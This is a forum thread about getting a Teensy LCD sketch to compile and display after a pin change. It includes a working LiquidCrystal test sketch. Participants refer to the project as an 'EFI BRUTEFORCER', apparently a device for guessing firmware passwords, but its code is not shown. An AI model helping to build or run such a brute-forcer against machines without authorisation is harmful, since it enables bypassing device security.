Teensy LCD

I had a code here in 2015 that allows to display the elements entered by Teensy on an LCD screen. I recently got a screen but I have a compilation problem. Can you help me please?

Thank you very much for your answer. it allowed me to correct the errors, there was also space to erase at the end of the lines.
however, the screen still does not display the input. the screen manufacturer used the inputs: LiquidCrystal lcd(23, 22, 16, 15, 14, 13) and provided a test code that works well. that's what i'm trying to edit in this code by putting: LiquidCrystal lcd(23, 22, 16, 15, 14, 13) instead of LiquidCrystal lcd(12, 11, 5, 4, 3, 2) of the initial code. can you please help me revise the code so that the lcd works? thank you.

Does the LCD display anything at all? I'd expect it to at least show "EFI BRUTEFORCER".

Please post the working test code so that we can compare it to your non-working code.

Please always do an Auto Format (Tools > Auto Format in the Arduino IDE or Ctrl + B in the Arduino Web Editor) on your code before posting it. This will make it easier for you to spot bugs and make it easier for us to read. The code you posted is almost impossible to read. I also recommend against double spacing code. It only makes for more scrolling. It's perplexing that you've done that, but also mashed some of the code that would normally be written in multiple lines onto a single line.

name unfortunately it does not show "EFI BRUTEFORCER".

here is the code that works

// include the library code:

#include <LiquidCrystal.h>

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);
 
void setup() {
// set up the LCD's number of columns and rows: 
lcd.begin(16, 2);
lcd.setCursor (0, 0);
lcd.print("hello, world!");
}
void loop() {
  // set the cursor to column 0, line 1
  // (note: line 1 is the second row, since counting begins with 0):
lcd.setCursor(0, 1);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}

and here is the code that teensy is performing correctly but the poster is not working on the lcd

#include <LiquidCrystal.h>
